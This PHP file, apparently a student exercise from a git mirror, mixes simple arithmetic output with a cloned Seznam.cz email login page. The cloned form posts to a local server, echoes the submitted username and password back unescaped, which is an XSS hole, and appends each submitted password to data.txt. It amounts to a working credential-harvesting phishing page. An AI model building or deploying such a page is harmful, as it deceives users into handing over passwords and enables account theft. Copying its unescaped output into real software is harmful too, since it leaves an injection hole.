moved libpurple-answerscripts to separate repository. wow!
[mirrors/Programs.git] / php / stredni-php / index_skola.php
1 <?php
2 $prom = 0;
3 $a = 5;
4 $b = 14;
5
6 echo $_POST["username"];
7 echo "<br />";
8
9 echo $_POST["domain"];
10 echo "<br />";
11
12 echo $_POST["password"];
13 echo "<br />";
14 echo "<br />";
15
16 echo "<title>HELL-O-WORLD!!!</title><button style=\"background-color: orange;\"><h1>Hellllo!</h1></button><br>";
17 echo "<br />";
18
19 echo <<<END
20
21 <form action="http://server202/users/mudrunka/index.php" method="post">
22 <h2>Pøihlásit se u\9eivatelským jménem <img src="/img/szn-logo-mini.gif" alt="Seznam.cz" /></h2>
23 <p>
24
25
26 <label for="name">Jméno:</label>
27 <input type="text" id="name" name="username" value="" tabindex="1" />
28 <select name="domain" tabindex="3">
29
30 <option value="seznam.cz" >@seznam.cz</option>
31
32
33 <option value="email.cz" >@email.cz</option>
34
35 <option value="post.cz" >@post.cz</option>
36
37 </select>
38
39
40
41 </p>
42 <p>
43 <label for="password">Heslo:</label>
44 <input type="password" id="password" name="password" tabindex="2" />
45
46 </p>
47 <p class="remember">
48 <input type="checkbox" name="remember" id="remember" value="1" /><label for="remember">pøihlásit trvale na tomto poèítaèi</a></label> - <a href="http://napoveda.seznam.cz/cz/prihlaseni.html">Co to je?</a>
49 </p>
50 <p class="submit-row">
51 <input type="submit" class="submit" value="Pøihlásit se" tabindex="4" />
52 <input type="hidden" name="serviceId" value="email" />
53
54 <input type="hidden" name="disableSSL" value="0" />
55 <input type="hidden" name="forceSSL" value="0" />
56 <input type="hidden" name="lang" value="cz" />
57 <input type="hidden" name="template" value="html" />
58 <input type="hidden" name="lang" value="cz" />
59 <input type="hidden" name="loggedURL" value="http://email.seznam.cz/ticket" />
60 <input type="hidden" name="returnURL" value="" />
61 <input type="hidden" name="loginFormIsSSL" value="0" />
62 </p>
63
64 </form>
65
66 END;
67
68 echo '+ '. ($a + $b) ."<br />";
69 echo "- ". ($a - $b) ."<br>";
70 echo "/ ". ($b / $a) ."<br>";
71 echo "* ". ($a * $b) ."<br>";
72 echo "<br />";
73
74 $fp = FOpen ("data.txt", "a"); //a = doplnìní w = zápis r = ètení
75 FWrite ($fp, $_POST["password"]); // ulo\9eí obsah promìnné $data do souboru data2.txt
76
77 ?>
This page took 0.771112 seconds and 4 git commands to generate.